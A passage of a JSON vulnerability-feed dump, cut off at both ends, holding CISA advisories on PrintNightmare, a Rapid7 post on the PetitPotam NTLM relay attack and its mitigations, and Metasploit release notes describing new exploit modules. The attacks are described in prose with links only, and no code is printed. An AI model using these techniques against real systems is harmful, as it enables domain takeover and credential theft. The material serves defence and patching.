"userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-01-25T00:00:00", "id": "CISA:4F4185688CEB9B9416A98FE75E7AFE02", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-03-16T11:35:47", "description": "CISA and the Federal Bureau of Investigation (FBI) have released a [joint Cybersecurity Advisory](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>) that details how Russian state-sponsored cyber actors accessed a network with misconfigured default multifactor authentication (MFA) protocols. The actors then exploited a critical Windows Print Spooler vulnerability, \u201cPrintNightmare\u201d (CVE-2021-34527), to run arbitrary code with system privileges. The advisory provides observed tactics, techniques, and procedures, as well as indicators of compromise and mitigations to protect against this threat. \n\nCISA encourages users and administrators to review [AA22-074A: Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>). For general information on Russian state-sponsored malicious cyber activity, see [cisa.gov/Russia](<https://www.cisa.gov/uscert/russia>). For more information on the threat of Russian state-sponsored malicious cyber actors to U.S. critical infrastructure, as well as additional mitigation recommendations, see [AA22-011A: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure](<https://www.cisa.gov/uscert/ncas/alerts/aa22-011a>) and [cisa.gov/shields-up](<https://www.cisa.gov/shields-up>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2022/03/15/russian-state-sponsored-cyber-actors-access-network-misconfigured>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-15T00:00:00", "type": "cisa", "title": "Russian State-Sponsored Cyber Actors Access Network Misconfigured with Default MFA Protocols", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-15T00:00:00", "id": "CISA:91DA945EA20AF1A221FDE02A2D9CE315", "href": "https://us-cert.cisa.gov/ncas/current-activity/2022/03/15/russian-state-sponsored-cyber-actors-access-network-misconfigured", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T18:09:13", "description": "_(Updated July 2, 2021) _For new information and mitigations, see [Microsoft's updated guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n_(Updated July 1, 2021) _See [Microsoft's new guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) and apply the necessary workarounds. \n\n_(Original post June 30, 2021)_ The CERT Coordination Center (CERT/CC) has released a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) for a critical remote code execution vulnerability in the Windows Print spooler service, noting: \u201cwhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675.\u201d An attacker can exploit this vulnerability\u2014nicknamed PrintNightmare\u2014to take control of an affected system.\n\nCISA encourages administrators to disable the Windows Print spooler service in Domain Controllers and systems that do not print. Additionally, administrators should employ the following best practice from Microsoft\u2019s [how-to guides](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>), published January 11, 2021: \u201cDue to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object.\u201d \n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "cisa", "title": "PrintNightmare, Critical Windows Print Spooler Vulnerability ", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T00:00:00", "id": "CISA:367C27124C09604830E0725F5F3123F7", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T18:12:56", "description": "Microsoft has released [out-of-band security updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) to address a remote code execution (RCE) vulnerability\u2014known as PrintNightmare (CVE-2021-34527)\u2014in the Windows Print spooler service. According to the CERT Coordination Center (CERT/CC), \u201cThe Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system.\u201d\n\nThe updates are cumulative and contain all previous fixes as well as protections for CVE-2021-1675. The updates do not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016\u2014Microsoft states updates for these versions are forthcoming. Note: According to CERT/CC, \u201cthe Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant.\u201d See [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) for workarounds for the LPE variant.\n\nCISA encourages users and administrators to review the [Microsoft Security Updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) as well as [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds. For additional background, see [CISA\u2019s initial Current Activity on PrintNightmare](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "cisa", "title": "Microsoft Releases Out-of-Band Security Updates for PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "CISA:6C836D217FB0329B2D68AD71789D1BB0", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-08-11T19:20:09", "description": "\n\n \n_The PetitPotam attack vector was assigned CVE-2021-36942 and patched on August 10, 2021. _S_ee the `Updates` section at the end of this post for more information._\n\nLate last month (July 2021), security researcher [Topotam](<https://github.com/topotam>) published a [proof-of-concept (PoC) implementation](<https://github.com/topotam/PetitPotam>) of a novel NTLM relay attack christened \u201cPetitPotam.\u201d The technique used in the PoC allows a remote, **unauthenticated** attacker to completely take over a Windows domain with the Active Directory Certificate Service (AD CS) running \u2014 including domain controllers. Rapid7 researchers have tested public proof-of-concept code against a Windows domain controller setup and confirmed exploitability. One of our [senior researchers](<https://twitter.com/wvuuuuuuuuuuuuu>) summed it up with: \"This attack is too easy.\" \n\nPetitPotam works by abusing Microsoft\u2019s Encrypting File System Remote Protocol (MS-EFSRPC) to trick one Windows host into authenticating to another over LSARPC on TCP port 445. Successful exploitation means that the target server will perform NTLM authentication to an arbitrary server, allowing an attacker who is able to leverage the technique to do... pretty much anything they want with a Windows domain (e.g., deploy ransomware, create nefarious new group policies, and so on). The folks over at SANS ISC have a great write-up [here](<https://isc.sans.edu/diary/Active+Directory+Certificate+Services+%28ADCS+-+PKI%29+domain+admin+vulnerability/27668>).\n\nAccording to Microsoft\u2019s [ADV210003 advisory](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>), Windows users are potentially vulnerable to this attack if they are using Active Directory Certificate Services (AD CS) with any of the following services:\n\n * Certificate Authority Web Enrollment\n * Certificate Enrollment Web Service\n\nNTLM relay attacks aren\u2019t new\u2014they\u2019ve [been around for decades](<https://owasp.org/www-pdf-archive/NTLM_Relay_Attacks.pdf>). However, a few things make PetitPotam and its [variants](<https://github.com/bats3c/ADCSPwn>) of higher interest than your more run-of-the-mill NTLM relay attack. As noted above, remote attackers don\u2019t need credentials to make this thing work, but more importantly, there\u2019s no user interaction required to coerce a target domain controller to authenticate to a threat actor\u2019s server. Not only is this easier to do \u2014 it\u2019s faster (though admittedly, well-known tools like Mimikatz are also extremely effective for gathering domain administrator-level service accounts). PetitPotam is the latest attack vector to underscore the fundamental fragility of the Active Directory privilege model. \n\nMicrosoft released [an advisory](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>) with a series of updates in response to community concern about the attack \u2014 which, as they point out, is \u201ca classic NTLM relay attack\u201d that abuses intended functionality. Users concerned about the PetitPotam attack should review Microsoft\u2019s guidance on mitigating NTLM relay attacks against Active Directory Certificate Services in [KB500413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). Since it looks like Microsoft [will not issue an official fix](<https://twitter.com/msftsecresponse/status/1419025196044865539>) for this vector, community researchers have added PetitPotam to [a running list](<https://github.com/cfalta/MicrosoftWontFixList/blob/main/README.md>) of \u201cwon\u2019t fix\u201d exploitable conditions in Microsoft products.\n\nThe PetitPotam PoC is already popular with red teams and community researchers. We expect that interest to increase as Black Hat brings further scrutiny to [Active Directory Certificate Services attack surface area](<https://posts.specterops.io/certified-pre-owned-d95910965cd2>). \n\n## Mitigation Guidance\n\nA patch that mitigates this attack chain is available as of August 10, 2021. Windows administrators should apply the August 10, 2021 patch for CVE-2021-36942 as soon as possible, prioritizing domain controllers, and then follow the guidance below as specified in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>).\n\nIn general, to prevent NTLM relay attacks on networks with NTLM enabled, domain administrators should ensure that services that permit NTLM authentication make use of protections such as [Extended Protection for Authentication](<https://docs.microsoft.com/en-us/security-updates/securityadvisories/2009/973811>) (EPA) coupled with \u201c[Require SSL](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>)\u201d for affected virtual sites, or signing features such as SMB signing. Implementing \u201cRequire SSL\u201d is a critical step: Without it, EPA is ineffective.\n\nAs an NTLM relay attack, PetitPotam takes advantage of servers on which Active Directory Certificate Services (AD CS) is not configured with the protections mentioned above. Microsoft\u2019s [KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)](<https://support.microsoft.com/help/5005413>) emphasizes that the primary mitigation for PetitPotam consists of three configuration changes (and an IIS restart). In addition to primary mitigations, Microsoft also recommends disabling NTLM authentication where possible, starting with domain controllers. \n\nIn this order, [KB5005413](<https://support.microsoft.com/help/5005413>) recommends:\n\n * Disabling NTLM Authentication on Windows domain controllers. Documentation on doing this can be found [here](<https://docs.microsoft.com/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain>).\n * Disabling NTLM on any AD CS Servers in your domain using the group policy [Network security: Restrict NTLM: Incoming NTLM traffic](<https://docs.microsoft.com/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-incoming-ntlm-traffic>). For step-by-step directions, see [KB5005413](<https://support.microsoft.com/help/5005413>).\n * Disabling NTLM for Internet Information Services (IIS) on AD CS Servers in your domain running the \"Certificate Authority Web Enrollment\" or \"Certificate Enrollment Web Service\" services.\n\nWhile not included in Microsoft\u2019s official guidance, community researchers [have tested](<https://twitter.com/gentilkiwi/status/1421949715986403329>) using NETSH RPC filtering to block PetitPotam attacks [with apparent success](<https://twitter.com/CraigKirby/status/1422569782088388611>). Rapid7 research teams have not verified this behavior, but it may be [an option](<https://www.bleepingcomputer.com/news/microsoft/windows-petitpotam-attacks-can-be-blocked-using-new-method/>) for blocking the attack vector without negatively impacting local EFS functionality.\n\n## Rapid7 Customers\n\nInsightVM and Nexpose customers can assess their exposure to PetitPotam via the local vulnerability checks `msft-adv210003`, which looks for the registry settings described in [ADV210003](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>), and `msft-cve-2021-36942`, which checks for the patches released by Microsoft on August 10.\n\n## Updates\n\n**August 10, 2021:** Microsoft has released a patch that addresses the PetitPotam NTLM relay attack vector in today's Patch Tuesday. Tracked as [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>), the August 2021 Patch Tuesday security update blocks the affected API calls [OpenEncryptedFileRawA](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>) and [OpenEncryptedFileRawW](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfileraww>) through the LSARPC interface. Windows administrators should prioritize patching domain controllers and will still need to take additional steps listed in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) to ensure their systems are fully mitigated. \n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {}, "published": "2021-08-03T20:13:50", "type": "rapid7blog", "title": "PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains Running AD CS", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-36942"], "modified": "2021-08-03T20:13:50", "id": "RAPID7BLOG:D9E3C0B84D67BD0A26DEAD5F6F4EAAC4", "href": "https://blog.rapid7.com/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-02-11T21:27:50", "description": "## Welcome, Little Hippo: PetitPotam\n\n\n\nOur very own [@zeroSteiner](<https://github.com/zeroSteiner>) [ported](<https://github.com/rapid7/metasploit-framework/pull/16136>) the [PetitPotam](<https://github.com/topotam/PetitPotam>) exploit to Metasploit this week. This module leverages [CVE-2021-36942](<https://attackerkb.com/topics/TEBmUAfeCs/cve-2021-36942?referrer=blog>), a vulnerability in the Windows Encrypting File System (EFS) API, to capture machine NTLM hashes. This uses the `EfsRpcOpenFileRaw` function of the Microsoft\u2019s Encrypting File System Remote Protocol API ([MS-EFSRPC](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>)) to coerce machine authentication to a user-controlled listener host. Metasploit's [SMB capture server](<https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/capture/smb.rb>) module can be used for this. The captured hashes are typically used as part of a NTLM relaying attack to take over other Windows hosts. Note that Microsoft has published some [guidance](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) about how to mitigate NTLM relay attacks.\n\n## QEMU Human Monitor Interface RCE\n\nContributor [@bcoles](<https://github.com/bcoles>) added an exploit [module](<https://github.com/rapid7/metasploit-framework/pull/16151>) that abuse QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute arbitrary commands by using the `migrate` HMP command. Furthermore, since the HMP TCP service is reachable from emulated devices, it is possible to escape QEMU from a guest system using this module. Note that it doesn't work on Windows hosts since the `migrate` command cannot spawn processes on this platform.\n\n## New module content (2)\n\n * [PetitPotam](<https://github.com/rapid7/metasploit-framework/pull/16136>) by [GILLES Lionel](<https://github.com/topotam>) and [Spencer McIntyre](<https://github.com/zeroSteiner>), which exploits [CVE-2021-36942](<https://attackerkb.com/topics/TEBmUAfeCs/cve-2021-36942?referrer=blog>) \\- This adds a new auxiliary scanner module that ports the PetitPotam tool to Metasploit andleverages CVE-2021-36942 to coerce Windows hosts to authenticate to a user-specific host, which enables an attacker to capture NTLM credentials for further actions, such as relay attacks.\n * [QEMU Monitor HMP 'migrate' Command Execution](<https://github.com/rapid7/metasploit-framework/pull/16151>) by [bcoles](<https://github.com/bcoles>) \\- This adds a module that can exploit the QEMU HMP service to execute OS commands. The HMP TCP service is reachable from emulated devices, so it is possible to escape QEMU by exploiting this vulnerability.\n\n## Enhancements and features\n\n * [#16010](<https://github.com/rapid7/metasploit-framework/pull/16010>) from [lap1nou](<https://github.com/lap1nou>) \\- This updates the zabbix_script_exec module with support for Zabbix version 5.0 and later. It also adds a new item-based execution technique and support for delivering Linux native payloads.\n * [#16163](<https://github.com/rapid7/metasploit-framework/pull/16163>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- Support has been added for the ClaimsPrincipal .NET deserialization gadget chain, which was found by [jang](<https://github.com/testanull>). An exploit which utilizes this enhancement will arrive shortly.\n * [#16125](<https://github.com/rapid7/metasploit-framework/pull/16125>) from [bcoles](<https://github.com/bcoles>) \\- This module can exploit GXV3140 models now that an `ARCH_CMD` target has been added.\n\n## Bugs fixed\n\n * [#16121](<https://github.com/rapid7/metasploit-framework/pull/16121>) from [timwr](<https://github.com/timwr>) \\- This fixes an exception caused by exploits that call `rhost()` in `Msf::Post::Common` without a valid session.\n * [#16142](<https://github.com/rapid7/metasploit-framework/pull/16142>) from [timwr](<https://github.com/timwr>) \\- This fixes an issue with Meterpreter's `getenv` command that was not returning `NULL` when querying for a non-existing environment variable.\n * [#16143](<https://github.com/rapid7/metasploit-framework/pull/16143>) from [sjanusz-r7](<https://github.com/sjanusz-r7>) \\- This fixes an issue where a Cygwin SSH session was not correctly identified being a Windows device, due to a case sensitivity issue\n * [#16147](<https://github.com/rapid7/metasploit-framework/pull/16147>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes a bug where `ssh_enumusers` would only use one source in the generation of its user word list if both `USERNAME` and `USER_FILE` options were set. The module now pulls from all possible datastore options if they are set, including a new option `DB_ALL_USERS`.\n * [#16160](<https://github.com/rapid7/metasploit-framework/pull/16160>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes a crash when `msfconsole` is unable to correctly determine the hostname and current user within a shell prompt.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.28...6.1.29](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222022-02-03T12%3A28%3A59%2B00%3A00..2022-02-09T14%3A46%3A38-06%3A00%22>)\n * [Full diff 6.1.28...6.1.29](<https://github.com/rapid7/metasploit-framework/compare/6.1.28...6.1.29>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 5.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 1.4}, "published": "2022-02-11T21:07:08", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2022-02-11T21:07:08", "id": "RAPID7BLOG:D214650E6EFB584624DA76ACB1573C1B", "href": "https://blog.rapid7.com/2022/02/11/metasploit-wrap-up-148/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-12-10T23:03:49", "description": "## Word and Javascript are a rare duo.\n\n\n\nThanks to [thesunRider](<https://github.com/thesunRider>). you too can experience the wonder of this mystical duo. The sole new metasploit module this release adds a file format attack to generate a very special document. By utilizing Javascript embedded in a Word document to trigger a chain of events that slip through various Windows facilities, a session as the user who opened the document can be yours.\n\n## Do you like spiders?\n\nIt has been 3 years since SMB2 support was added to smb share enumeration and over a year ago SMB3 support was added, yet the spiders are not done spinning their webs. Thanks to [sjanusz-r7](<https://github.com/sjanusz-r7>) the spiders have evolved to take advantage of these new skills and the webs can span new doorways. Updates to `scanner/smb/smb_enumshares` improve enumeration support for the latest Windows targets that deploy with SMB3 only by default.\n\n## New module content (1)\n\n * [Microsoft Office Word Malicious MSHTML RCE](<https://github.com/rapid7/metasploit-framework/pull/15742>) by [klezVirus](<https://github.com/klezVirus>), [lockedbyte](<https://github.com/lockedbyte>), [mekhalleh (RAMELLA S\u00e9bastien)](<https://github.com/mekhalleh>), and [thesunRider](<https://github.com/thesunRider>), which exploits [CVE-2021-40444](<https://attackerkb.com/topics/6ojqzQoPox/cve-2021-40444?referrer=blog>) \\- This adds an exploit for CVE-2021-40444 which is a vulnerability that affects Microsoft Word. Successful exploitation results in code execution in the context of the user running Microsoft Word.\n\n## Enhancements and features\n\n * [#15854](<https://github.com/rapid7/metasploit-framework/pull/15854>) from [sjanusz-r7](<https://github.com/sjanusz-r7>) \\- This updates the `SpiderProfiles` option as part of the `scanner/smb/smb_enumshares` module to now work against newer SMB3 targets, such as windows 10, Windows Server 2016, and above.\n * [#15888](<https://github.com/rapid7/metasploit-framework/pull/15888>) from [sjanusz-r7](<https://github.com/sjanusz-r7>) \\- This adds anonymised database statistics to msfconsole's `debug` command, which is used to help developers track down database issues as part of user generated error reports.\n * [#15929](<https://github.com/rapid7/metasploit-framework/pull/15929>) from [bcoles](<https://github.com/bcoles>) \\- This adds nine new Windows 2003 SP2 targets that the `exploit/windows/smb/ms08_067_netapi` module can exploit.\n\n## Bugs fixed\n\n * [#15808](<https://github.com/rapid7/metasploit-framework/pull/15808>) from [timwr](<https://github.com/timwr>) \\- This fixes a compatibility issue with Powershell `read_file` on Windows Server 2012 by using the old style Powershell syntax (New-Object).\n * [#15937](<https://github.com/rapid7/metasploit-framework/pull/15937>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This removes usage of `SortedSet` to improve support for Ruby 3.\n * [#15939](<https://github.com/rapid7/metasploit-framework/pull/15939>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes a bug where the Meterpreter dir/ls function would show the creation date instead of the modified date for the directory contents.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.17...6.1.19](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-12-02T11%3A01%3A28-06%3A00..2021-12-09T08%3A35%3A23%2B00%3A00%22>)\n * [Full diff 6.1.17...6.1.19](<https://github.com/rapid7/metasploit-framework/compare/6.1.17...6.1.19>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-10T21:36:13", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-10T21:36:13", "id": "RAPID7BLOG:AE824D3989C792700A622C455D8EE160", "href": "https://blog.rapid7.com/2021/12/10/metasploit-wrap-up-142/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-10T20:15:00", "description": "## Wowza, a new credential gatherer and login scanner!\n\n\n\nThis week Metasploit Framework gained a credential gatherer for Wowza Streaming Engine Manager. Credentials for this application are stored in a file named `admin.password` in a known location and the file is readable by default by `BUILTIN\\Users` on Windows and is world readable on Linux.. The module was written by community contributor [bcoles](<https://github.com/bcoles>) who also wrote a login scanner for Wowza this week. The login scanner can be used to validate the credentials found by the gatherer. The two modules complement each other quite nicely.\n\n## New module content (3)\n\n### Wowza Streaming Engine Manager Login Utility\n\nAuthor: bcoles \nType: Auxiliary \nPull request: 